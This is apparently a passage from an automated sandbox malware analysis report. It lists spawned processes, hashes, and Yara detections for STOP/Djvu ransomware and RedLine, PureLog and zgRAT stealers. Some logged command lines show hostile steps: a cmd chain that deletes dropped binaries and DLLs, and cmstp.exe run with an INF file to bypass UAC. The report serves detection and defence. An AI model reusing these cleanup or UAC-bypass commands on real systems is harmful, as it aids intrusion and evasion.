                                                                                                                                                                                                                                                              Start time:20:17:53
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000018.00000002.2615160955.00000000048C3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:25
                                                                                                                                                                                                                                                              Start time:20:17:53
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:26
                                                                                                                                                                                                                                                              Start time:20:17:55
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe" & del "C:\ProgramData\*.dll"" & exit
                                                                                                                                                                                                                                                              Imagebase:0x790000
                                                                                                                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:27
                                                                                                                                                                                                                                                              Start time:20:17:55
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                              Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:28
                                                                                                                                                                                                                                                              Start time:20:17:55
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:timeout /t 5
                                                                                                                                                                                                                                                              Imagebase:0x660000
                                                                                                                                                                                                                                                              File size:25'088 bytes
                                                                                                                                                                                                                                                              MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:29
                                                                                                                                                                                                                                                              Start time:20:17:56
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              Imagebase:0x790000
                                                                                                                                                                                                                                                              File size:6'274'240 bytes
                                                                                                                                                                                                                                                              MD5 hash:95E59305AD61119CF15EE95562BD05BA
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 67%, ReversingLabs
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:30
                                                                                                                                                                                                                                                              Start time:20:18:04
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\E5F3.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\E5F3.exe
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:664'576 bytes
                                                                                                                                                                                                                                                              MD5 hash:35FFEFA212414C2538DF410E5AD3AFA7
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001E.00000002.3080228144.000000000243C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001E.00000003.2738899773.0000000004BAF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.3076741866.000000000050D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 88%, ReversingLabs
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:32
                                                                                                                                                                                                                                                              Start time:20:18:06
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4140 -ip 4140
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:33
                                                                                                                                                                                                                                                              Start time:20:18:06
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4140 -ip 4140
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:34
                                                                                                                                                                                                                                                              Start time:20:18:06
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1548
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:35
                                                                                                                                                                                                                                                              Start time:20:18:06
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1484
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:36
                                                                                                                                                                                                                                                              Start time:20:18:08
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\3EE1.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\3EE1.exe
                                                                                                                                                                                                                                                              Imagebase:0x240000
                                                                                                                                                                                                                                                              File size:975'112 bytes
                                                                                                                                                                                                                                                              MD5 hash:422A9C5CFA6370C93A4BD5DB29C3D196
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000024.00000002.3140665063.0000000004CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000024.00000002.3148614338.0000000005160000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000024.00000002.3122886847.00000000038C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 100%, Avira
                                                                                                                                                                                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:37
                                                                                                                                                                                                                                                              Start time:20:18:12
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              Imagebase:0x740000
                                                                                                                                                                                                                                                              File size:70'504 bytes
                                                                                                                                                                                                                                                              MD5 hash:CD2B5A09EFDAC0FFBD76111F44733138
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: INDICATOR_SUSPICIOUS_DisableWinDefender, Description: Detects executables containing artifcats associated with disabling Widnows Defender, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD, Description: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste, Description: Detects executables potentially checking for WinJail sandbox window, Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:38
                                                                                                                                                                                                                                                              Start time:20:18:12
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                              Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                                                                              File size:55'320 bytes
                                                                                                                                                                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:39
                                                                                                                                                                                                                                                              Start time:20:18:17
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpA28E.tmp.bat""
                                                                                                                                                                                                                                                              Imagebase:0x790000
                                                                                                                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:40
                                                                                                                                                                                                                                                              Start time:20:18:17
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                              Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:41
                                                                                                                                                                                                                                                              Start time:20:18:17
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:timeout 3
                                                                                                                                                                                                                                                              Imagebase:0x660000
                                                                                                                                                                                                                                                              File size:25'088 bytes
                                                                                                                                                                                                                                                              MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:42
                                                                                                                                                                                                                                                              Start time:20:18:20
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Roaming\svchost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Roaming\svchost.exe"
                                                                                                                                                                                                                                                              Imagebase:0x540000
                                                                                                                                                                                                                                                              File size:70'504 bytes
                                                                                                                                                                                                                                                              MD5 hash:CD2B5A09EFDAC0FFBD76111F44733138
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002A.00000002.2925602199.00000000032E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:43
                                                                                                                                                                                                                                                              Start time:20:18:23
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\cmstp.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                                                                                                                                                                                                                                                              Imagebase:0xb70000
                                                                                                                                                                                                                                                              File size:81'920 bytes
                                                                                                                                                                                                                                                              MD5 hash:D7AABFAB5BEFD53BA3A27BD48F3CC675
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2910090875.0000000005270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909873536.0000000005270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909951998.0000000005270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909297400.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2910175245.0000000005270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909359499.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909056088.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909781538.0000000005270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000003.2909127162.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              Disassembly

                                                                                                                                                                                                                                                              Reset < >

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:3.9%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:29.9%
                                                                                                                                                                                                                                                                Signature Coverage:60.9%
                                                                                                                                                                                                                                                                Total number of Nodes:87
                                                                                                                                                                                                                                                                Total number of Limit Nodes:8
